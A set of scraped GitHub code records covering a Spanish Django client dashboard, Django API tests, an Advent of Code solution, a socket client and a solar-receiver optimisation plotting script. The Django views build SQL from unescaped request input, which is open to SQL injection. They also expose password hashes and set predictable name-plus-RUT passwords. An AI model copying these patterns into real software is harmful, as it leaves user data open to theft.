'subtitle': 'Lista completa de Clientes del sistema',\n 'button_add': 'Añadir Cliente',\n }\n a = helpers.session_user_exist(request)\n if (a == False):\n messages.add_message(request, messages.ERROR, 'No haz Iniciado Sesión.')\n return redirect (\"loginDashboard\")\n \n b = helpers.session_user_role(request)\n if (b == True):\n del request.session['usuario']\n messages.add_message(request, messages.ERROR, 'No tienes Permiso.')\n return redirect (\"loginDashboard\")\n \n c = helpers.request_module(request, data)\n if (c == True):\n return render(request, \"clientes.html\", data)\n\n# OBTENER TODOS LOS CLIENTES\ndef getAllClientes(request):\n data_clientes = list(fc_get_all_clientes())\n data_to_array = []\n # Convertir TUPLA a Array Modificable\n for i in data_clientes:\n data_to_array.append({\n \"rut_cliente\": i[0],\n \"contrasena_cliente\": i[1],\n \"n1_cliente\": i[2],\n \"n2_cliente\": i[3],\n \"ap_cliente\": i[4],\n \"am_cliente\": i[5],\n \"correo_cliente\": i[6],\n \"telefono_cliente\": i[7],\n \"rut_empresa_cliente\": i[8],\n \"nombre_empresa\": i[9],\n \"id_rol\": i[10],\n \"status_cliente\": i[11],\n })\n\n for i in data_to_array:\n i['options'] = \"\"\"\n
\n \n \n
\n \"\"\" % (i['rut_cliente'],i['rut_cliente'])\n\n return JsonResponse(data_to_array, safe=False, json_dumps_params={'ensure_ascii': False})\n\n# OBTENER UN CLIENTE\ndef dashboard_get_cliente(request):\n v_rut_cliente = request.GET.get('rutCliente')\n if (v_rut_cliente != \"\"):\n data_cliente = list(fc_get_cliente_dash(v_rut_cliente))\n data_to_array = []\n if (data_cliente != ()):\n for i in data_cliente:\n data_to_array.append({\n \"rut_cliente\": i[0],\n \"contrasena_cliente\": i[1],\n \"n1_cliente\": i[2],\n \"n2_cliente\": i[3],\n \"ap_cliente\": i[4],\n \"am_cliente\": i[5],\n \"correo_cliente\": i[6],\n \"telefono_cliente\": i[7],\n \"rut_empresa_cliente\": i[8],\n \"nombre_empresa\": i[9],\n })\n return JsonResponse(data_to_array, safe=False, json_dumps_params={'ensure_ascii': False})\n else:\n return redirect(\"getClientesPage\")\n else:\n return redirect(\"getClientesPage\")\n\n# UPDATE CLIENTE\ndef dashboard_update_cliente(request):\n if (request.method == 'POST'):\n try:\n cx = get_connection()\n with cx.cursor() as cursor:\n v_rut_cliente = request.POST.get(\"rutCliente\")\n v_contrasena_cliente = request.POST.get(\"txtContrasenaCliente\")\n v_correo_cliente = request.POST.get(\"txtCorreoCliente\")\n v_telefono_cliente = request.POST.get(\"txtTelefonoCliente\")\n v_nombre_empresa = request.POST.get(\"txtNombreEmpresaCliente\")\n\n cursor.execute(\"SELECT * FROM nma_cliente WHERE rut_cliente = '%s'\" % (v_rut_cliente))\n exist = cursor.fetchall()\n\n if (exist != ()):\n cursor.execute(\"\"\"UPDATE nma_cliente SET contrasena_cliente = '%s', \n correo_cliente = '%s', telefono_cliente = %s, nombre_empresa = '%s' WHERE rut_cliente = '%s' \"\"\" % \n (v_contrasena_cliente, v_correo_cliente, v_telefono_cliente, v_nombre_empresa, v_rut_cliente))\n\n cx.commit()\n return redirect(\"getClientesPage\")\n\n else:\n messages.add_message(request, messages.ERROR, 'Ha ocurrido un error inesperado, vuelva a intentarlo!')\n return redirect(\"getClientesPage\")\n\n except Exception as ex:\n messages.add_message(request, messages.ERROR, 'Ha ocurrido un error inesperado, vuelva a intentarlo!')\n return redirect(\"getClientesPage\")\n else:\n return redirect(\"getClientesPage\")\n\ndef dashboard_insert_cliente(request):\n \"\"\"\n Si el método de solicitud es POST, entonces comprueba si el cliente existe, si no existe, entonces inserta el cliente,\n si existe, entonces actualiza el Cliente.\n\n :param request: El objeto de solicitud es un objeto HttpRequest\n :return: una redirección a la página getClientesPage.\n \"\"\"\n if request.method == \"POST\":\n rut_cliente = request.POST.get(\"txtRut\")\n exist = fc_get_cliente_dash(rut_cliente)\n if (exist == ()):\n # INSERTAR Cliente\n # v_contrasena_cliente = request.POST.get(\"txtContraseña\") -> Por ahora no se utiliza ya que se genera la contraseña automáticamente en la variable \"vaa\"\n v_n1_cliente = request.POST.get(\"txtPrimerNombre\")\n v_n2_cliente = request.POST.get(\"txtSegundoNombre\")\n v_ap_cliente = request.POST.get(\"txtApellidoPaterno\")\n v_am_cliente = request.POST.get(\"txtApellidoMaterno\")\n v_correo_cliente = request.POST.get(\"txtCorreoElectronico\")\n # Creating a hash of the second name, the @ symbol and the user's rut.\n vaa = v_n1_cliente + '@' + rut_cliente # la contraseña corresponde al nombre del cliente + @ + rut\n v_password = hashlib.sha256(vaa.encode('utf-8')).hexdigest()\n \n v_telefono_cliente = request.POST.get(\"txtTelefono\")\n v_rut_empresa_cliente = request.POST.get(\"txtRutEmpresa\")\n v_nombre_empresa = request.POST.get(\"txtNombreEmpresa\")\n v_status_Cliente = 0 \n\n fc_insert_cliente(rut_cliente, v_password, v_n1_cliente, v_n2_cliente, v_ap_cliente,\n v_am_cliente, v_correo_cliente, v_telefono_cliente, v_rut_empresa_cliente, v_nombre_empresa, v_status_Cliente)\n messages.add_message(request, messages.SUCCESS, 'Usuario ingresado Exitosamente!')\n return redirect(\"getClientesPage\")\n\n else:\n # ACTUALIZAR Cliente\n exist = fc_get_cliente_dash(rut_cliente)\n if (exist != ()):\n v_rut_Cliente = request.POST.get(\"txtRut\")\n v_contrasena_cliente = sha256(request.POST.get(\"txtContraseña\"))\n v_n1_cliente = request.POST.get(\"txtPrimerNombre\")\n v_n2_cliente = request.POST.get(\"txtSegundoNombre\")\n v_ap_cliente = request.POST.get(\"txtApellidoPaterno\")\n v_am_cliente = request.POST.get(\"txtApellidoMaterno\")\n v_correo_cliente = request.POST.get(\"txtCorreoElectronico\")\n \n v_telefono_cliente = request.POST.get(\"txtTelefono\")\n v_rut_empresa_cliente = request.POST.get(\"txtDireccion\")\n v_nombre_empresa = request.POST.get(\"txtDireccion\")\n v_status_Cliente = 0 \n\n fc_update_cliente(v_rut_Cliente, v_contrasena_cliente, v_n1_cliente, v_n2_cliente,\n v_ap_cliente, v_am_cliente, v_telefono_cliente, v_rut_empresa_cliente, v_rut_empresa_cliente,v_nombre_empresa, v_status_Cliente)\n return redirect(\"getClientesPage\")\n else:\n return redirect(\"getClientesPage\")\n else:\n return redirect(\"getClientesPage\")\n\ndef dashboard_delete_cliente(request):\n if request.method == \"GET\":\n v_rut_Cliente = request.GET.get(\"txtRut\")\n exist = fc_get_cliente_dash(v_rut_Cliente)\n if (exist != ()):\n fc_delete_cliente(v_rut_Cliente)\n return redirect(\"getClientesPage\")\n else:\n return redirect(\"getClientesPage\")\n else:\n return redirect(\"getClientesPage\")\n\ndef dashboard_status_cliente (request):\n if (request.method == \"POST\"):\n try:\n cx = get_connection()\n\n with cx.cursor() as cursor:\n cursor.execute(\"UPDATE nma_cliente SET contrasena_cliente WHERE rut_cliente = 0\")\n cx.commit()\n return redirect(\"getClientesPage\")\n\n except Exception as ex:\n print (ex)\n return redirect(\"getClientesPage\")\n\n else:\n return redirect(\"getClientesPage\")\n","repo_name":"DeveloperFlack/portafolio_ingenieria_2022","sub_path":"apps/dashboard/controllers/clientes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9384,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"38100456479","text":"# import unittest\nimport datetime\nfrom django.test import TestCase, Client\nfrom .models import Movie\n\n# Create your tests here.\n\n# Testing the Movie Model\nclass MovieTestCase(TestCase):\n def setUp(self):\n Movie.objects.create(\n title=\"Independence Day\",\n released_date=\"1996-03-10\",\n production_company=\"Centropolis Entertainment\"\n )\n\n def test_movies_exist(self):\n movie = Movie.objects.get(title=\"Independence Day\")\n self.assertEqual(movie.title, \"Independence Day\")\n self.assertEqual(movie.released_date, datetime.date(1996, 3, 10))\n self.assertEqual(movie.production_company, \"Centropolis Entertainment\")\n\n\n# Testing the views\nclass ViewsTest(TestCase):\n def setUp(self):\n self.client = Client()\n\n def test_movies_index(self):\n response = self.client.get('/api/v1/movies')\n self.assertEqual(response.status_code, 200)\n\n def test_movies_detail_with_no_content(self):\n response = self.client.get('/api/v1/movies/1')\n self.assertEqual(response.status_code, 404)\n\n def test_movies_detail_with_content(self):\n movie = Movie.objects.create(\n title=\"Armageddon\",\n released_date=\"1998-07-01\",\n production_company=\"Touchstone Pictures\"\n )\n url = '/api/v1/movies/' + str(movie.id)\n # import pdb; pdb.set_trace()\n response = self.client.get(url)\n self.assertEqual(response.status_code, 200)","repo_name":"nsingh1981/movie-list-code-challenge","sub_path":"api/movies/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6592680194","text":"#####################################################\n# --- Day 1: The Tyranny of the Rocket Equation --- #\n#####################################################\n\nimport AOCUtils\n\ndef reqFuel(m):\n return (m // 3) - 2\n\n#####################################################\n\nmasses = AOCUtils.loadInput(1)\n\nfuelSum = sum(reqFuel(m) for m in masses)\nprint(\"Part 1: {}\".format(fuelSum))\n\nfuelSum = 0\nfor m in masses:\n fuel = reqFuel(m)\n while fuel >= 0:\n fuelSum += fuel\n fuel = reqFuel(fuel)\n\nprint(\"Part 2: {}\".format(fuelSum))\n\nAOCUtils.printTimeTaken()","repo_name":"KanegaeGabriel/advent-of-code-2019","sub_path":"01_rocket_equation.py","file_name":"01_rocket_equation.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"de","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"6742324778","text":"from multiprocessing.connection import Client\nimport socket\n\nclass Network:\n def __init__(self, data):\n self.client = None\n # self.server = \"172.104.158.227\"\n self.server = server = socket.gethostbyname(socket.gethostname())\n self.port = 5555\n self.addr = (self.server, self.port)\n self.p = self.connect(data)\n\n def get_p(self):\n return self.p\n\n def connect(self, data):\n try:\n self.client = Client(self.addr)\n self.client.send(data)\n return self.client.recv()\n except:\n pass\n\n def send(self, data):\n try:\n self.client.send(data)\n return self.client.recv()\n except:\n print(\"conn failed\")\n","repo_name":"LooneyLychee/Checkers","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"1269568313","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 13 19:51:21 2021\r\n\r\n@author: z5158936\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport sys\r\nimport scipy.optimize as spo\r\nimport scipy.interpolate as spi\r\n\r\ndef f_minPoly(X,*args):\r\n Xs,Ys = args\r\n # f_inter = spi.interp1d(Xs, Ys, kind='cubic',fill_value='extrapolate')\r\n f_inter = spi.interp1d(Xs, Ys, kind='quadratic',fill_value='extrapolate')\r\n return f_inter(X)\r\n\r\n\r\nfile_rslts = 'Optim_TPR_all.csv'\r\nfldr_rslts = 'Optim_Results/'\r\n\r\n###########################################\r\n#%%% DIFFERENT HEIGHT, FIX RADIATION FLUX\r\n###########################################\r\n#FIGURE 1\r\n\r\nQ_av = 1.00\r\nQ_avs = np.arange(0.50,1.51,0.5)\r\n\r\nms = ['o','s','d']\r\n\r\ni=0\r\nfor Q_av in Q_avs:\r\n \r\n file_rslts = 'Optim_TPR_0D_quick.csv'\r\n df = pd.read_csv(file_rslts,index_col=0)\r\n df = df.round({'Q_av':2})\r\n pd.set_option('display.max_columns', None)\r\n df = df[(df.Q_avg_i==Q_av)].copy()\r\n df.sort_values(['zf','Prcv'],inplace=True)\r\n \r\n zfs = df.zf.unique()\r\n \r\n ###########################################\r\n #FIGURE 3\r\n fig, ax1 = plt.subplots(figsize=(9,6))\r\n mins = []\r\n fs = 18\r\n for zf in zfs:\r\n df2 = df[(df.zf==zf)].copy()\r\n \r\n df2.drop_duplicates(subset=['Prcv','zf','Q_avg_i'],inplace=True)\r\n ax1.plot(df2.Prcv,df2.LCOH,lw=1.5,label=str(zf)+' m')\r\n \r\n bounds = (df2.Prcv.min(),df2.Prcv.max())\r\n args = (df2.Prcv,df2.LCOH)\r\n res = spo.minimize_scalar(f_minPoly, bounds=bounds, args=args, method='bounded')\r\n Prcv_min = res.x\r\n LCOH_min = f_minPoly(Prcv_min,*args)\r\n Nhel_min = spi.interp1d(df2.Prcv, df2.N_hel, kind='cubic',fill_value='extrapolate')(Prcv_min)\r\n etaSF_min = spi.interp1d(df2.Prcv, df2.eta_SF, kind='cubic',fill_value='extrapolate')(Prcv_min)\r\n fzv_min = spi.interp1d(df2.Prcv, df2.fzv, kind='cubic',fill_value='extrapolate')(Prcv_min)\r\n mins.append([zf,Prcv_min,LCOH_min,Nhel_min,etaSF_min,fzv_min])\r\n \r\n mins = pd.DataFrame(mins,columns=('zf','Prcv','LCOH','Nhel','eta_SF','fzv'))\r\n mins.sort_values(by='zf',inplace=True)\r\n \r\n args = (mins.Prcv,mins.LCOH)\r\n Prcvs = np.arange(mins.Prcv.min(),mins.Prcv.max(),0.1)\r\n ax1.plot(mins.Prcv,mins.LCOH,c='mediumblue',lw=3,marker='s',markersize=10,label='min')\r\n ax1.set_ylim(20,35)\r\n ax1.set_xlim(0,40)\r\n # ax1.set_title('LCOH for different receiver powers and tower heights with $Q_{{avg}}={:.2f}$'.format(Q_av),fontsize=fs)\r\n ax1.set_ylabel(r'LCOH $(USD/MW_t)$',fontsize=fs)\r\n ax1.set_xlabel('Receiver Power $(MW_t)$',fontsize=fs)\r\n ax1.tick_params(axis='both', which='major', labelsize=fs-2)\r\n ax1.legend(loc=1,bbox_to_anchor=(1.25, 0.98),fontsize=fs-2)\r\n ax1.grid()\r\n fig.savefig(fldr_rslts+'Prcv_zf_LCOH_Qavg_{:.2f}_fig3.png'.format(Q_av), bbox_inches='tight')\r\n plt.show()\r\n \r\n ###########################################\r\n # TOWER HEIGHT VS RECEIVER POWER\r\n \r\n def func1(x, *params):\r\n A,b = params\r\n return A*np.exp(b*x)\r\n \r\n X = mins.zf\r\n Y = mins.Prcv\r\n p0 = (1., 0.05)\r\n coefs, covariance = spo.curve_fit( func1, X, Y, maxfev=10000, p0=p0)\r\n Yc = func1(X,*coefs)\r\n r2 = 1 - (np.sum((Y - Yc)**2) / np.sum((Y-np.mean(Y))**2))\r\n Xc = np.linspace(20,75,100)\r\n Yc = func1(Xc,*coefs)\r\n A,b = coefs\r\n \r\n \r\n def func3(x, *params):\r\n A,b,c = params\r\n # return c+A/x**b\r\n return c+A*np.exp(-x*b)\r\n X3 = mins.zf\r\n Y3 = mins.LCOH\r\n p0 = (10., 0.05, 20.)\r\n coefs_LCOH, covariance = spo.curve_fit( func3, X3, Y3, maxfev=10000, p0=p0)\r\n Yc3 = func3(X3,*coefs_LCOH)\r\n r2 = 1 - (np.sum((Y3 - Yc3)**2) / np.sum((Y3-np.mean(Y3))**2))\r\n A3,b3,c3 = coefs_LCOH\r\n print(A3,b3,c3,r2)\r\n \r\n figb, ax1b = plt.subplots(figsize=(9,6))\r\n ax2b = ax1b.twinx()\r\n fs=18\r\n cLCOH = 'mediumblue'\r\n cPrcv = 'orangered'\r\n # print(mins)\r\n # ax1b.plot(mins.zf,mins.LCOH,lw=3,c='mediumblue',marker=ms[i],markersize=10,label='{:.2f}'.format(Q_av))\r\n ax1b.scatter(mins.zf, mins.LCOH, c=cLCOH, marker=ms[i], s=200, label='LCOH')\r\n ax2b.scatter(mins.zf,mins.Prcv,c=cPrcv,marker=ms[i],s=200,label=r'$P_{rcv}$')\r\n \r\n ax2b.plot(Xc,Yc,c=cPrcv,lw=2,ls=':')\r\n ax1b.plot(X3,Yc3,lw=3, c=cLCOH, ls=':')\r\n \r\n ax2b.annotate(r'$P_{{rcv}}={:.1f}e^{{{:.3f}z_f}}$'.format(A,b),(Xc[-1]-18,Yc[-1]),c=cPrcv,fontsize=fs)\r\n \r\n ax1b.annotate(r'${:.1f}+{:.1f}e^{{-{:.2f}z_f}}$'.format(c3,A3,b3),(X3.iloc[-1]-20,Yc3.iloc[-1]+1),c=cLCOH,fontsize=fs-2)\r\n \r\n ax1b.scatter([],[],lw=3,c=cPrcv,marker='s',s=200,label=r'$P_{rcv}$')\r\n \r\n # ax1b.plot([],[],c='C1',lw=2,ls=':',label=r'$P_{{rcv}}={:.1f}e^{{{:.3f}z_f}}$'.format(A,b))\r\n \r\n ax1b.legend(loc=2,fontsize=fs)\r\n ax1b.set_ylim(20,35)\r\n ax1b.grid()\r\n # ax1b.set_title('LCOH and optimal receiver power for different tower heights with $Q_{{avg}}={:.2f}$'.format(Q_av),fontsize=fs)\r\n ax1b.set_xlabel(r'Tower height $(m)$',fontsize=fs)\r\n ax1b.set_ylabel(r'LCOH $(USD/MW_t)$',fontsize=fs)\r\n ax2b.set_ylabel('Receiver Power $(MW_t)$',fontsize=fs)\r\n ax2b.spines['left'].set_color('mediumblue')\r\n ax2b.spines['right'].set_color('C1')\r\n ax1b.tick_params(axis='y', colors=cLCOH,size=10)\r\n ax2b.tick_params(axis='y', colors=cPrcv,size=10)\r\n ax1b.yaxis.label.set_color(cLCOH)\r\n ax2b.yaxis.label.set_color(cPrcv)\r\n ax1b.tick_params(axis='both', which='major', labelsize=fs-2)\r\n ax2b.tick_params(axis='both', which='major', labelsize=fs-2)\r\n ax2b.set_yticks(np.linspace(ax2b.get_yticks()[0], ax2b.get_yticks()[-1], len(ax1b.get_yticks())))\r\n ax2b.set_yticks(np.linspace(0, 35, len(ax1b.get_yticks())))\r\n plt.show()\r\n \r\n i+=1\r\n figb.savefig(fldr_rslts+'zf_Prcv_min_Qavg_{:.2f}.png'.format(Q_av), bbox_inches='tight')\r\n \r\n \r\n# sys.exit()\r\n \r\n#%%% INFLUENCE OF RADIATION FLUX\r\n\r\nfile_rslts = 'Optim_TPR_0D_quick.csv'\r\ndf = pd.read_csv(file_rslts,index_col=0)\r\ndf = df.round({'Q_av':2})\r\nzfs = np.arange(20,76,5)\r\n# zfs = [30,40,50,60]\r\nmins = []\r\n\r\nfor zf in zfs:\r\n \r\n df = pd.read_csv(file_rslts,index_col=0)\r\n df = df.round({'Q_av':2})\r\n pd.set_option('display.max_columns', None)\r\n df = df[(df.zf==zf)].copy()\r\n df.sort_values(['Q_av','Prcv'],inplace=True)\r\n \r\n idx_min = df.LCOH.idxmin()\r\n Prcv_min = df.loc[idx_min]['Prcv']\r\n LCOH_min = df.loc[idx_min]['LCOH']\r\n Nhel_min = df.loc[idx_min]['N_hel']\r\n etaSF_min = df.loc[idx_min]['eta_SF']\r\n fzv_min = df.loc[idx_min]['fzv']\r\n Q_av = df.loc[idx_min]['Q_avg_i']\r\n Arcv = df.loc[idx_min]['Arcv']\r\n eta_rcv = df.loc[idx_min]['eta_rcv']\r\n S_HB = df.loc[idx_min]['S_HB']\r\n S_TOD = df.loc[idx_min]['S_TOD']\r\n S_land = Prcv_min * 1e4 / df.loc[idx_min]['land_prod']\r\n mins.append([idx_min,zf,Prcv_min,LCOH_min,Nhel_min,etaSF_min,fzv_min,Q_av,Arcv, eta_rcv,S_TOD,S_HB,S_land])\r\n \r\n fig, ax1 = plt.subplots(figsize=(9,6))\r\n Qavgs = np.arange(0.5,2.1,0.25)\r\n for Q_av in Qavgs:\r\n df2 = df[(df.Q_avg_i==Q_av)]\r\n df2.drop_duplicates(subset=['Prcv','zf','fzv','Q_avg_i'],inplace=True)\r\n # df2.drop_duplicates(inplace=True)\r\n ax1.plot(df2.Prcv,df2.LCOH,lw=3, label=r'${:.2f} MW/m^2$'.format(Q_av))\r\n \r\n ax1.scatter([Prcv_min],[LCOH_min],lw=3,c='red',marker='*',s=200,label='Design')\r\n y1,y2 = 20,30\r\n ax1.plot([Prcv_min,Prcv_min],[y1,y2],lw=2,c='red',ls=':')\r\n # ax1.set_title(r'Min LCOH for tower $z_{{f}}={:.1f}$'.format(zf),fontsize=fs)\r\n ax1.tick_params(axis='both', which='major', labelsize=fs-2)\r\n ax1.set_xlim(0,40)\r\n ax1.set_ylim(y1,y2)\r\n # ax1.plot(Prcvs,LCOHs,lw=3,c='mediumblue',ls='--',label='min(LCOH)')\r\n ax1.set_ylabel(r'LCOH $(USD/MW_t)$',fontsize=fs)\r\n ax1.set_xlabel('Receiver Power $(MW_t)$',fontsize=fs)\r\n ax1.legend(loc=1,bbox_to_anchor=(1.35, 1.00),fontsize=fs-2)\r\n ax1.grid()\r\n plt.show()\r\n fig.savefig(fldr_rslts+'LCOH_Prcv_Qavg_zf_{:.0f}m.png'.format(zf), bbox_inches='tight')\r\n\r\nmins = pd.DataFrame(mins,columns=('idx_min', 'zf', 'Prcv', 'LCOH', 'Nhel', 'eta_SF', 'fzv', 'Q_av', 'Arcv', 'eta_rcv', 'S_TOD', 'S_HB', 'S_land'))\r\n\r\n# mins.loc[7,'Prcv'] = 21\r\n# mins.loc[8,'Prcv'] = 23\r\n\r\ndef func1_2var(X, *params):\r\n zf, Q_av = X['zf'],X['Q_av']\r\n A,b = params\r\n return A*Q_av*np.exp(b*zf)\r\n\r\nX = mins[['zf','Q_av']]\r\nY = mins.Prcv\r\np0 = (1., 0.05)\r\ncoefs, covariance = spo.curve_fit( func1_2var, X, Y, maxfev=10000, p0=p0)\r\nYc = func1_2var(X,*coefs)\r\nr2 = 1 - (np.sum((Y - Yc)**2) / np.sum((Y-np.mean(Y))**2))\r\nA,b = coefs\r\nprint(A,b,r2)\r\n\r\n\r\ndef func2(x, *params):\r\n A,b = params\r\n return A*np.exp(b*x)\r\n\r\nX2 = mins.zf\r\nY2 = mins.Prcv\r\np0 = (1., 0.05)\r\ncoefs, covariance = spo.curve_fit( func2, X2, Y2, maxfev=10000, p0=p0)\r\nYc2 = func2(X2,*coefs)\r\nr2 = 1 - (np.sum((Y2 - Yc2)**2) / np.sum((Y2-np.mean(Y2))**2))\r\nA2,b2 = coefs\r\nprint(A2,b2,r2)\r\n\r\n\r\ndef func3(x, *params):\r\n A,b,c = params\r\n # return c+A/x**b\r\n return c+A*np.exp(-x*b)\r\n\r\nX3 = mins.zf\r\nY3 = mins.LCOH\r\np0 = (10., 0.05, 20.)\r\ncoefs_LCOH, covariance = spo.curve_fit( func3, X3, Y3, maxfev=10000, p0=p0)\r\nYc3 = func3(X3,*coefs_LCOH)\r\nr2 = 1 - (np.sum((Y3 - Yc3)**2) / np.sum((Y3-np.mean(Y3))**2))\r\nA3,b3,c3 = coefs_LCOH\r\nprint(A3,b3,c3,r2)\r\n\r\nQavs = mins.Q_av\r\nmsizes = 100*mins.Q_av**2\r\nsmin = 30\r\nsmax = 300\r\nQmin = 0.5\r\nQmax = 1.25\r\nmsizes = [smin+(smax-smin)*(aux-Qmin)/(Qmax-Qmin) for aux in Qavs]\r\n\r\nfig, ax1 = plt.subplots(figsize=(9,6))\r\nax2 = ax1.twinx()\r\n# ax1.plot(mins.zf,mins.LCOH,lw=3, c='mediumblue',marker='o',markersize=15,label='LCOH')\r\nax1.scatter(mins.zf, mins.LCOH,lw=3, c=cLCOH, marker='o', s=150, label='LCOH')\r\nax1.plot([],[],lw=3, c=cPrcv, marker='s',markersize=15,label='Receiver Power')\r\nax2.scatter(mins.zf,mins.Prcv, c=cPrcv, marker='s', s=150)\r\n\r\nax2.plot(X2,Yc2,lw=3, c=cPrcv, ls=':')\r\nax1.plot(X3,Yc3,lw=3, c=cLCOH, ls=':')\r\n\r\nax2.annotate(r'$P_{{rcv}}={:.1f}e^{{{:.3f}z_f}}$'.format(A2,b2),(Xc[-1]-20,Yc.iloc[-1]-2),c=cPrcv,fontsize=fs)\r\nax1.annotate(r'${:.1f}+{:.1f}e^{{-{:.3f}z_f}}$'.format(c3,A3,b3),(X3.iloc[-1]-20,Yc3.iloc[-1]+1),c=cLCOH,fontsize=fs-2)\r\n\r\n# ax2.scatter([],[],s=msizes[0], c=cPrcv,marker='s', label=r'$0.75 MW/m^2$')\r\n# ax2.scatter([],[],s=msizes[1], c=cPrcv,marker='s', label=r'$1.00 MW/m^2$')\r\n# ax2.scatter([],[],s=msizes[3], c=cPrcv,marker='s', label=r'$1.25 MW/m^2$')\r\n# ax2.scatter([],[],s=msizes[11], c=cPrcv, marker='s', label=r'$1.50 MW/m^2$')\r\n\r\nax1.set_xlabel('Tower height $(m)$',fontsize=fs)\r\nax1.set_ylabel(r'Minimum LCOH $(USD/MW_{th})$',fontsize=fs)\r\nax2.set_ylabel(r'Optimal Receiver Power $(MW_{th})$',fontsize=fs)\r\n\r\nax2.spines['left'].set_color(cLCOH)\r\nax2.spines['right'].set_color(cPrcv)\r\nax1.tick_params(axis='y', colors=cLCOH,size=10)\r\nax2.tick_params(axis='y', colors=cPrcv,size=10)\r\nax1.yaxis.label.set_color(cLCOH)\r\nax2.yaxis.label.set_color(cPrcv)\r\nax1.tick_params(axis='both', which='major', labelsize=fs-2)\r\nax2.tick_params(axis='both', which='major', labelsize=fs-2)\r\n\r\n# ax1.set_title(r'Min LCOH for towers heights and average radiation flux. FINAL!',fontsize=fs)\r\n# ax1.set_xlim(25,65)\r\nax1.set_ylim(y1,y2)\r\n# ax2.set_ylim(0,30)\r\nax1.legend(bbox_to_anchor=(0.0,-0.25), loc=\"lower left\",fontsize=fs-2,ncol=2)\r\n# ax2.legend(bbox_to_anchor=(0.4,-0.35), loc=\"lower left\",fontsize=fs-4,ncol=2)\r\nax1.grid()\r\nfig.savefig(fldr_rslts+'FINAL_LCOH_zf_Prcv.png', bbox_inches='tight')\r\nplt.show()\r\n\r\n\r\n# Function for Q_av\r\ndef func4(x, *params):\r\n A,b,c = params\r\n # return c+A/x**b\r\n return c - A*np.exp(-x*b)\r\nX4 = mins.zf\r\nY4 = mins.Q_av\r\np0 = (1., 0.05, 1.)\r\ncoefs, covariance = spo.curve_fit( func4, X4, Y4, maxfev=10000, p0=p0)\r\nYc4 = func4(X4,*coefs)\r\nr2 = 1 - (np.sum((Y4 - Yc4)**2) / np.sum((Y4-np.mean(Y4))**2))\r\nA4,b4,c4 = coefs\r\nprint(A4,b4,c4,r2)\r\n\r\ncQavg = 'darkgreen'\r\nfig, ax1 = plt.subplots(figsize=(6,4))\r\nax1.scatter(mins.zf,mins.Q_av,s=100,c=cQavg)\r\nax1.plot(X4,Yc4,lw=3, c=cQavg, ls=':',label=r'${:.2f}-{:.2f}e^{{-{:.3f}z_f}}$'.format(c4,A4,b4))\r\nax1.legend(loc=0,fontsize=fs-2)\r\n\r\nax1.set_xlim(18,77)\r\nax1.set_xlabel('Tower height $(m)$',fontsize=fs)\r\nax1.set_ylabel(r'Optimal $Q_{avg} (MW_{th}/m^2)$',fontsize=fs)\r\nax1.spines['left'].set_color(cQavg)\r\nax1.tick_params(axis='y', colors=cQavg,size=10)\r\nax1.yaxis.label.set_color(cQavg)\r\nax1.tick_params(axis='both', which='major', labelsize=fs-2)\r\nax1.grid()\r\nfig.savefig(fldr_rslts+'FINAL_LCOH_zf_Qavg.png', bbox_inches='tight')\r\nplt.show()\r\n\r\n# Function for fzv\r\ndef func5(x, *params):\r\n A,b,c = params\r\n # return c+A/x**b\r\n return c+A*np.exp(-x*b)\r\nX5 = mins.zf\r\nY5 = mins.fzv\r\np0 = (10., 0.05, 20.)\r\ncoefs, covariance = spo.curve_fit( func5, X5, Y5, maxfev=10000, p0=p0)\r\nYc5 = func5(X5,*coefs)\r\nr2 = 1 - (np.sum((Y5 - Yc5)**2) / np.sum((Y5-np.mean(Y5))**2))\r\nA5,b5,c5 = coefs\r\nprint(A5,b5,c5,r2)\r\n\r\ncfzv = 'darkviolet'\r\nfig, ax1 = plt.subplots(figsize=(6,4))\r\nax1.scatter(mins.zf,mins.fzv,s=100,c=cfzv)\r\nax1.plot(X5,Yc5,lw=3, c=cfzv, ls=':',label=r'${:.2f}+{:.2f}e^{{-{:.3f}z_f}}$'.format(c5,A5,b5))\r\nax1.legend(loc=0,fontsize=fs-2)\r\n\r\nax1.set_xlim(18,77)\r\nax1.set_xlabel('Tower height $(m)$',fontsize=fs)\r\nax1.set_ylabel(r'Optimal $f_{zv} (-)$',fontsize=fs)\r\nax1.spines['left'].set_color(cfzv)\r\nax1.tick_params(axis='y', colors=cfzv,size=10)\r\nax1.yaxis.label.set_color(cfzv)\r\nax1.tick_params(axis='both', which='major', labelsize=fs-2)\r\nax1.grid()\r\nfig.savefig(fldr_rslts+'FINAL_LCOH_zf_fzv.png', bbox_inches='tight')\r\nplt.show()\r\n\r\nzf = 50\r\nPrcv = func2(zf, *[A2,b2])\r\nLCOH = func3(zf, *[A3,b3,c3])\r\nQavg = func4(zf, *[A4,b4,c4])\r\nfzv = func5(zf, *[A5,b5,c5])\r\nprint(zf,Prcv,LCOH,Qavg,fzv)\r\n\r\n### ADDITIONAL CORRELATIONS\r\ndef func6(x, *params):\r\n A,b = params\r\n return A*np.exp(b*x)\r\n\r\nylabs = {'Nhel':'$N_{hel} (-)$','S_TOD':'$S_{TOD} (m^2)$','S_HB':'$S_{HB} (m^2)$','Arcv':'$A_{rcv} (m^2)$','S_land':'$S_{land} (m^2)$'}\r\n\r\nfor vary in ['Nhel','S_TOD','S_HB','Arcv','S_land']:\r\n X6 = mins.zf\r\n Y6 = mins[vary]\r\n p0 = (1., 0.05)\r\n coefs, covariance = spo.curve_fit( func6, X6, Y6, maxfev=10000, p0=p0)\r\n Yc6 = func2(X6,*coefs)\r\n r2 = 1 - (np.sum((Y6 - Yc6)**2) / np.sum((Y6-np.mean(Y6))**2))\r\n A6,b6 = coefs\r\n \r\n fig, ax1 = plt.subplots(figsize=(6,4))\r\n ax1.scatter(mins.zf,mins[vary],s=100,c=cLCOH)\r\n ax1.plot(X6,Yc6,lw=3, c=cLCOH, 